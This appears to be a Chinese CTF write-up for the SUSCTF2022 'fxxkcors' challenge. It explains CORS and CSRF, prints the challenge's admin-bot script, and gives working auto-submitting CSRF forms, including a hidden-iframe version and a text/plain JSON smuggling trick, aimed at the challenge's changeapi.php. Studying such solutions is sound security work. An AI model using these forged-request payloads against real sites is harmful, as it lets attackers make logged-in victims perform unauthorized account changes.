[SUSCTF2022]fxxkcors

0x00 前言

由于题目名字的关系一开始只想着是cors漏洞了
这个一开始雀氏没接触过
所以就一直在研究 当然最后证实只是一个csrf…
看看大佬的文章扫扫盲
CORS跨域漏洞的学习
(freebuff这篇讲的比较通透
cors安全完全指南
拾人牙慧一下
重点就是服务器返回响应包的头
Access-Control-Allow-Origin : 允许访问的源有哪些 对应请求包中的origin头
Access-Control-Allow-Credentials :是否允许带上cookie访问资源

题目附件一个js
一开始以为report那的三个url真是用来报告bug的… 没想到就是配着js看的
很像portswigger的oauth靶场
模拟admin登录并点击url

const opt = {
    name: "fxxkcors",
    router: "fxxkcors",
    site: process.env.FXXK_SITE ?? "",

}

const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))

const visit = async (browser, url) =>{
    let site = process.env.FXXK_SITE ?? ""
    console.log(`[+]${opt.name}: ${url}`)
    let renderOpt = {...opt}
    try {
        const loginpage = await browser.newPage()
        await loginpage.goto(site)
        await loginpage.type("input[name=username]", "admin")
        await loginpage.type("input[name=password]", process.env.FXXK_ADMIN_PASS ?? "")
        await Promise.all([
            loginpage.click('button[name=submit]'),
            loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
        ])
        await loginpage.goto("about:blank")
        await loginpage.close()

        const page = await browser.newPage()
        await page.goto(url, {waitUntil: 'networkidle0', timeout: 2000})

        await delay(2000) /// waiting 2 second.
        console.log(await page.evaluate(() =>  document.documentElement.outerHTML))

    }catch (e) {
        console.log(e)
        renderOpt.message = "error occurred"
        return renderOpt
    }
    renderOpt.message = "admin will view your report soon"
    return renderOpt
}

module.exports = {
    opt:opt,
    visit:visit
}

在题目多个地方截包都没看到Access-Control-Allow-*的返回头…
就意识到不对劲
不过csrf考察的并不是很多

0x01 brain.md

一个简易的loginpage
任意用户都能直接注册并登录(除了admin
在这里插入图片描述
随便搞个用户
只有normal admin能看到flag
在这里插入图片描述

进主页之后看到这里还是比较显眼的
注意… 定语从句
u want the person to be an normal admin
在这里插入图片描述
当然我们肯定自己没权限
拦一下看到json
在这里插入图片描述
在这里插入图片描述
另一个report界面
显然是让我们贴url的
在这里插入图片描述
补充一下一篇写的很好的csrf

csrf浅谈

讓我們來談談 CSRF

我们的目的就是要admin账户帮我们向changeapi.php post我们自己的账号
那么刚好就能用到跨站域请求伪造
当然再回头看一下我们post的包,发现这像敏感操作并没有携带token校验
这也证实了这是个可利用点

当我们需要发送post请求时,就可以利用表单的方式

iframe直接内联框架嵌入 并且不做展示
再通过js自动提交 不知不觉中触发表单

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='https://small-min.blog.com/delete' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='id' value='3'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

form中的target属性指定了在不做显示的iframe中打开action的url,所以表面上不会产生任何变化

開一個看不見的 iframe,讓 form submit 之後的結果出現在 iframe 裡面,而且這個 form 還可以自動 submit,完全不需要任何操作。
关于iframe和form的联用
在这里插入图片描述

若用json传输

<form action="https://small-min.blog.com/delete" method="post" enctype="text/plain">
<input name='{"id":3, "ignore_me":"' value='test"}' type='hidden'>
<input type="submit"
  value="delete!"/>
</form>

這樣子會產生如下的 request body:

{ “id”: 3,
“ignore_me”: “=test”
}

第二个键值对ignore_me是为了规避 = 号的干扰

但這邊值得注意的一點是,form能夠帶的 content type
只有三種:application/x-www-form-urlencoded, multipart/form-data 跟
text/plain。在上面的攻擊中我們用的是最後一種,text/plain,如果你在你的後端 Server 有檢查這個 content
type 的話,是可以避免掉上面這個攻擊的。

回到题目中
有了上述的铺垫,我们就可以直接在VPS构造恶意页面

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://124.71.205.122:10002/changeapi.php' target="csrf-frame" id="csrf-form" enctype="text/plain">
  <input type='hidden' name='{"username":"kidult", "abc":"' value='123"}'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
这里有个小坑

当使用iframe跨域提交表单时会触发浏览器安全策略造成cookie丢失
iframe 跨域访问session/cookie丢失问题解决方法
iframe 跨域传递 cookie

比赛环境下 我们要去掉iframe

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://124.71.205.122:10002/changeapi.php'  id="csrf-form" enctype="text/plain">
  <input type='hidden' name='{"username":"kidult", "abc":"' value='123"}'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

在这里插入图片描述

0x02 rethink

自己挖的坑自己填

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值